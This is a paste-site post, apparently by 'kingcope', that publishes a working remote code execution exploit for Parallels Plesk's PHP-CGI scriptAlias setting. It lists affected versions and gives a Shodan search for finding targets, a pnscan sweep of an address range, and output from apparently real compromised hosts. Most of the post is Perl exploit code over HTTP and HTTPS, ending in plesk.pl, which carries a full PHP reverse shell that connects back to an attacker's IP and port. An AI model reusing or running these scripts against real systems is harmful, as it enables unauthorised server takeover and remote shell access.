Plesk Apache Zeroday Remote Exploit


SUBMITTED BY: Guest

DATE: Nov. 25, 2013, 9:06 p.m.

FORMAT: Text only

SIZE: 14.2 kB

HITS: 2334

  1. Plesk Apache zeroday / June 2013
  2. discovered & exploited by kingcope
  3. this Plesk configuration setting makes it possible:
  4. scriptAlias /phppath/ "/usr/bin/"
  5. Furthermore this is not cve-2012-1823 because the php interpreter is called directly.
  6. (no php file is called)
  7. Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution
  8. Affected and tested: Plesk 9.5.4
  9. Plesk 9.3
  10. Plesk 9.2
  11. Plesk 9.0
  12. Plesk 8.6
  13. Discovered & Exploited by Kingcope / June 2013
  14. Affected and tested OS: RedHat, CentOS, Fedora
  15. Affected and tested Platforms: Linux i386, Linux x86_64
  16. Untested OS: Windows (php.exe?)
  17. Unaffected: 11.0.9 due to compiled in protection of PHP version
  18. Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%
  19. 6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%
  20. 62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%
  21. 3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  22. Shodanhq overview of Plesk on Linux:
  23. http://www.shodanhq.com/search?q=plesklin
  24. perl plesk-simple.pl <ip address>
  25. ...
  26. ...
  27. ...
  28. OK
  29. Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24
  30. 19:50:48 MSD 2012 i686 i686 i386 GNU/Linux
  31. uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
  32. ---
  33. ./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80
  34. perl plesk-simple.pl 76.12.81.206
  35. HTTP/1.1 200 OK
  36. Date: Sat, 16 Mar 2013 13:39:35 GMT
  37. Server: Apache/2.2.3 (CentOS)
  38. Connection: close
  39. Transfer-Encoding: chunked
  40. Content-Type: text/html
  41. 77
  42. Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E
  43. ST 2012 x86_64 x86_64 x86_64 GNU/Linux
  44. 3e
  45. uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
  46. 0
  47. perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error)
  48. HTTP/1.1 200 OK
  49. Date: Tue, 19 Mar 2013 15:29:28 GMT
  50. Server: Apache/2.0.54 (Fedora)
  51. Connection: close
  52. Transfer-Encoding: chunked
  53. Content-Type: text/html
  54. 3
  55. OK
  56. 60
  57. Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux
  58. 4c
  59. uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv)
  60. 0
  61. use IO::Socket;
  62. use URI::Escape;
  63. $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  64. PeerPort => 80,
  65. Proto => 'tcp');
  66. $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
  67. $arguments = uri_escape("-d","\0-\377"). "+" .
  68. uri_escape("allow_url_include=on","\0-\377"). "+" .
  69. uri_escape("-d","\0-\377"). "+" .
  70. uri_escape("safe_mode=off","\0-\377"). "+" .
  71. uri_escape("-d","\0-\377"). "+" .
  72. uri_escape("suhosin.simulation=on","\0-\377"). "+" .
  73. uri_escape("-d","\0-\377"). "+" .
  74. uri_escape("disable_functions=\"\"","\0-\377"). "+" .
  75. uri_escape("-d","\0-\377"). "+" .
  76. uri_escape("open_basedir=none","\0-\377"). "+" .
  77. uri_escape("-d","\0-\377"). "+" .
  78. uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
  79. uri_escape("-n","\0-\377");
  80. $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
  81. print $sock "POST /$path?$arguments HTTP/1.1\r\n"
  82. ."Host: $ARGV[0]\r\n"
  83. ."Content-Type: application/x-www-form-urlencoded\r\n"
  84. ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
  85. while(<$sock>) {
  86. print;
  87. }
  88. use IO::Socket::SSL;
  89. use URI::Escape;
  90. $sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],
  91. PeerPort => 443,
  92. Proto => 'tcp');
  93. $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
  94. $arguments = uri_escape("-d","\0-\377"). "+" .
  95. uri_escape("allow_url_include=on","\0-\377"). "+" .
  96. uri_escape("-d","\0-\377"). "+" .
  97. uri_escape("safe_mode=off","\0-\377"). "+" .
  98. uri_escape("-d","\0-\377"). "+" .
  99. uri_escape("suhosin.simulation=on","\0-\377"). "+" .
  100. uri_escape("-d","\0-\377"). "+" .
  101. uri_escape("disable_functions=\"\"","\0-\377"). "+" .
  102. uri_escape("-d","\0-\377"). "+" .
  103. uri_escape("open_basedir=none","\0-\377"). "+" .
  104. uri_escape("-d","\0-\377"). "+" .
  105. uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
  106. uri_escape("-n","\0-\377");
  107. $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
  108. print $sock "POST /$path?$arguments HTTP/1.1\r\n"
  109. ."Host: $ARGV[0]\r\n"
  110. ."Content-Type: application/x-www-form-urlencoded\r\n"
  111. ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
  112. while(<$sock>) {
  113. print;
  114. }
  115. #CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch
  116. ###############################################################################################################
  117. plesk-simple-ssl.pl
  118. #plesk remote exploit by kingcope
  119. #all your base belongs to me :>
  120. use IO::Socket::SSL;
  121. use URI::Escape;
  122. $sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],
  123. PeerPort => 443,
  124. Proto => 'tcp');
  125. $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
  126. $arguments = uri_escape("-d","\0-\377"). "+" .
  127. uri_escape("allow_url_include=on","\0-\377"). "+" .
  128. uri_escape("-d","\0-\377"). "+" .
  129. uri_escape("safe_mode=off","\0-\377"). "+" .
  130. uri_escape("-d","\0-\377"). "+" .
  131. uri_escape("suhosin.simulation=on","\0-\377"). "+" .
  132. uri_escape("-d","\0-\377"). "+" .
  133. uri_escape("disable_functions=\"\"","\0-\377"). "+" .
  134. uri_escape("-d","\0-\377"). "+" .
  135. uri_escape("open_basedir=none","\0-\377"). "+" .
  136. uri_escape("-d","\0-\377"). "+" .
  137. uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
  138. uri_escape("-n","\0-\377");
  139. $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
  140. print $sock "POST /$path?$arguments HTTP/1.1\r\n"
  141. ."Host: $ARGV[0]\r\n"
  142. ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"
  143. ."Content-Type: application/x-www-form-urlencoded\r\n"
  144. ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
  145. while(<$sock>) {
  146. print;
  147. }
  148. #CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch
  149. ###############################################################################################################
  150. plesk-simple.pl
  151. #plesk remote exploit by kingcope
  152. #all your base belongs to me :>
  153. use IO::Socket;
  154. use URI::Escape;
  155. $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  156. PeerPort => 80,
  157. Proto => 'tcp');
  158. $pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
  159. $arguments = uri_escape("-d","\0-\377"). "+" .
  160. uri_escape("allow_url_include=on","\0-\377"). "+" .
  161. uri_escape("-d","\0-\377"). "+" .
  162. uri_escape("safe_mode=off","\0-\377"). "+" .
  163. uri_escape("-d","\0-\377"). "+" .
  164. uri_escape("suhosin.simulation=on","\0-\377"). "+" .
  165. uri_escape("-d","\0-\377"). "+" .
  166. uri_escape("disable_functions=\"\"","\0-\377"). "+" .
  167. uri_escape("-d","\0-\377"). "+" .
  168. uri_escape("open_basedir=none","\0-\377"). "+" .
  169. uri_escape("-d","\0-\377"). "+" .
  170. uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
  171. uri_escape("-n","\0-\377");
  172. $path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
  173. print $sock "POST /$path?$arguments HTTP/1.1\r\n"
  174. ."Host: $ARGV[0]\r\n"
  175. ."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"
  176. ."Content-Type: application/x-www-form-urlencoded\r\n"
  177. ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
  178. while(<$sock>) {
  179. print;
  180. }
  181. ###############################################################################################################
  182. plesk.pl
  183. #plesk remote exploit by kingcope
  184. #all your base belongs to me :>
  185. use IO::Socket;
  186. use IO::Socket::SSL;
  187. use URI::Escape;
  188. sub usage {
  189. print "usage: $0 <target> <http/https> <local_ip> <local_port>\n";exit;
  190. }
  191. if (!defined($ARGV[3])){usage();}
  192. $target=$ARGV[0];
  193. $proto=$ARGV[1];
  194. if ($proto eq "http") {
  195. $sock = IO::Socket::INET->new(
  196. PeerAddr => $ARGV[0],
  197. PeerPort => 80,
  198. Proto => 'tcp');
  199. }elsif ($proto eq "https") {
  200. $sock = IO::Socket::SSL->new(
  201. PeerAddr => $ARGV[0],
  202. PeerPort => 443,
  203. Proto => 'tcp');
  204. }else {usage();}
  205. $lip=$ARGV[2];
  206. $lport=$ARGV[3];
  207. $pwn="<?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip =
  208. '$lip'; \$port = $lport; \$chunk_size = 1400; \$write_a = null;
  209. \$error_a = null; \$shell = '/bin/sh -i'; \$daemon =
  210. 0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid =
  211. pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\");
  212. exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) {
  213. printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else {
  214. printit(\"WARNING: Failed to daemonise. This is quite common and not
  215. fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port,
  216. \$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\");
  217. exit(1);} \$descriptorspec = array(0 => array(\"pipe\", \"r\"),1 =>
  218. array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\$process =
  219. proc_open(\$shell, \$descriptorspec, \$pipes);if
  220. (!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\");
  221. exit(1);}stream_set_blocking(\$pipes[0],
  222. 0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2],
  223. 0);stream_set_blocking(\$sock, 0);while (1) { if (feof(\$sock)) {
  224. printit(\"done.\"); break;} if
  225. (feof(\$pipes[1])) {printit(\"done.\");break;}\$read_a = array(\$sock, \$pipes[1],
  226. \$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a,
  227. \$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug)
  228. printit(\"SOCK READ\");\$input = fread(\$sock,
  229. \$chunk_size);if(\$debug) printit(\"SOCK:
  230. \$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1],
  231. \$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input =
  232. fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT:
  233. \$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2],
  234. \$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input =
  235. fread(\$pipes[2], \$chunk_size); if (\$debug) printit(\"STDERR:
  236. \$input\");fwrite(\$sock,
  237. \$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print
  238. \"\$string\n\";}}
  239. ?>";
  240. $arguments=uri_escape("-d","\0-\377"). "+" .
  241. uri_escape("allow_url_include=on","\0-\377"). "+" .
  242. uri_escape("-d","\0-\377"). "+" .
  243. uri_escape("safe_mode=off","\0-\377"). "+" .
  244. uri_escape("-d","\0-\377"). "+" .
  245. uri_escape("suhosin.simulation=on","\0-\377"). "+" .
  246. uri_escape("-d","\0-\377"). "+" .
  247. uri_escape("disable_functions=\"\"","\0-\377"). "+" .
  248. uri_escape("-d","\0-\377"). "+" .
  249. uri_escape("open_basedir=none","\0-\377"). "+" .
  250. uri_escape("-d","\0-\377"). "+" .
  251. uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
  252. uri_escape("-n","\0-\377");
  253. $path=uri_escape("phppath","\0-\377"). "/" . uri_escape("php","\0-\377");
  254. print $sock "POST /$path?$arguments HTTP/1.1\r\n".
  255. "Host: $ARGV[0]\r\n".
  256. "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n".
  257. "Content-Type: text/plain\r\n".
  258. "Content-Length: ". length($pwn) ."\r\n\r\n". $pwn;
  259. while(<$sock>){print $_;};
  260. ###############################################################################################################

comments powered by Disqus